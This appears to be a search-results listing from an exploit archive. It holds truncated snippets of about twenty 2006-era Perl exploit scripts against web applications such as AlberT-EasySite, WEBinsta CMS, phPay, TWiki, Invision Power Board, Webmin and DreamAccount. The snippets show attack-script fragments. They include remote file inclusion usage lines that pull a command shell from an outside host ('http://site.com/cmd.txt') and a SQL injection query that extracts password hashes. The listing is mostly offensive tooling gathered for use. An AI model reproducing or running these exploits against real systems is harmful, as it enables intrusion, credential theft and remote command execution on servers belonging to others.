1507 matches found
AlberT-EasySite <= 1.0a5 (PSA_PATH) Remote File Include Exploit
Exploit for unknown platform in category web applications =============================================================== AlberT-EasySite perl exploit.pl http://site.com/AESPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variab...
AlberT-EasySite 1.0a5 - 'PSA_PATH' Remote File Inclusion
!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - AES: AlberT-EasySite perl exploit.pl http://site.com/AESPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda = $ARGV2;...
fusionnews.txt
!/usr/bin/perl Aria-Security.net Advisory Discovered by: OUTLAW Gr33t to: A.u.r.a & HessamX & Cl0wn & DrtRp Special Thanx To All Aria-Security Users use LWP::UserAgent; print "\n === Fusion News v3.7 Remote File Inclusion\n"; print "\n === Discovered by OutLaw .\n"; print "\n ===...
adv45-K-159-2006.txt
ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...
AlberT-EasySite 1.0a5 - PSA_PATH Remote File Inclusion
AlberT-EasySite 1.0a5 - PSAPATH Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - AES: AlberT-EasySite perl exploit.pl http://site.com/AESPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka =...
PHPay 2.02 - nu_mail.inc.php?mail() Remote Injection
PHPay 2.02 - numail.inc.php?mail Remote Injection !/usr/bin/perl Script: phPay v2.02 http://phpay.de/ Vuln File: numail.inc.php Exploit & Advisory: beford Vulnerability: mail Injection Vuln Code: \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed...
PHPay 2.02 - 'nu_mail.inc.php?mail()' Remote Injection
!/usr/bin/perl Script: phPay v2.02 http://phpay.de/ Vuln File: numail.inc.php Exploit & Advisory: beford Vulnerability: mail Injection Vuln Code: \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n"; print "\t : duh\n"; print...
phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit
Exploit for unknown platform in category web applications =============================================================== phPay \n"; if scalar@ARGV headers\n"; print "\t : orly\n"; print "\t : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n"; print "\t : duh\n"; print "\theaders :...
[ECHO_ADV_45$2006] WEBinsta CMS 0.3.1 (templates_dir) Remote File Inclusion Vulnerability
ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...
WEBInsta CMS 0.3.1 - templates_dir Remote File Inclusion
WEBInsta CMS 0.3.1 - templatesdir Remote File Inclusion !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell...
TWiki 4.0.4 - 'configure' Remote Command Execution
!/usr/bin/perl Tue Aug 1 13:18:12 CEST 2006 [email protected] use strict; use LWP::UserAgent; use LWP::Simple; use HTTP::Request; use HTTP::Response; use Getopt::Long; $| = 1; couse 1 is bigger than 0 my $proxy,$proxyuser,$proxypass; my $host,$debug,$dir, $command; my $options = GetOptions 'host=...
Cisco/Protego CS-MARS < 4.2.1 (JBoss) Remote Code Execution Exploit
Exploit for hardware platform in category remote exploits =================================================================== Cisco/Protego CS-MARS Addressed in CSCse47646 CS-MARS is an event correlation product orginally written by Protego, which is now owned by Cisco. It is built on top of JBos...
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit (2)
Exploit for unknown platform in category web applications ================================================================== Invision Power Board 2.1 new; &header; if @ARGV ".$server."result.txt"; for$id = 1; $id = $kol; $id++ $ownquery = "UNION SELECT convergepasshash,1,1,1 FROM...
web-usermin.pl.txt
!/usr/bin/perl Exploit for WEBMIN and USERMIN less than 1.29x ARBITARY REMOTE FILE DISCLOSURE WORKS FOR HTTP AND HTTPS NOW Thrusday 13th July 2006 Vulnerability Disclosure at securitydot.net Coded by UmZ! [email protected] Make sure you have LWP before using this exploit. USE IT AT YOUR OWN RIS...
Invision Power Board 2.1 2.1.6 - SQL Injection (1)
Invision Power Board 2.1 2.1.6 - SQL Injection 1 !/usr/bin/perl Invision Power Board v2.1 "r57ipb216gui" ; $mw-geometry '420x550' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Power Board 2.1. 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-te...
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Invision Power Board v2.1 = 2.1.6 sql injection exploit by RST/GHC Based on LOCALIP bug, more info in RST/GHC Advisory41 http://rst.void.ru/papers/advisory41.txt tested on 2.1.3, 2.1.6 08.06.06 coded by 1dt.w0lf RST/GHC http://rst.void.ru...
ej3-exec.txt
!/usr/bin/perl EJ3 TOPO 2.2 Remote Code Execution Exploit --------------------------------------------- Note : This Exploit Just run TOPO 2.2 IHST : www.Hackerz.Ir AST : www.aria-security.net Coded & Discovered By Hessam-x use LWP::UserAgent; use LWP::Simple; use HTTP::Cookies; $host = $ARGV0; $u...
ImgSvr 0.6.5 - POST Denial of Service
ImgSvr 0.6.5 - POST Denial of Service !/usr/bin/perl Proof of concept. Credit's:to n00b for finding this bug. Afected :ImgSvr.exe Download softwear: http://freshmeat.net/projects/imgsvr/ Crash the server with overly long http post request.. Main site of affected product...
dreamaccount.txt
---------------------------------------------------- DREAMACCOUNT V3.1 Command Execution Exploit ---------------------------------------------------- Discovered By CrAshoVeRrIdEArabian Security Team Coded By Drago84Exclusive Security Team ---------------------------------------------------- site ...
DreamAccount <= 3.1 (auth.api.php) Remote File Include Exploit
Exploit for unknown platform in category web applications ============================================================== DreamAccount = 3.1 auth.api.php Remote File Include Exploit ============================================================== !/usr/bin/perl use HTTP::Request; use LWP::UserAgent;...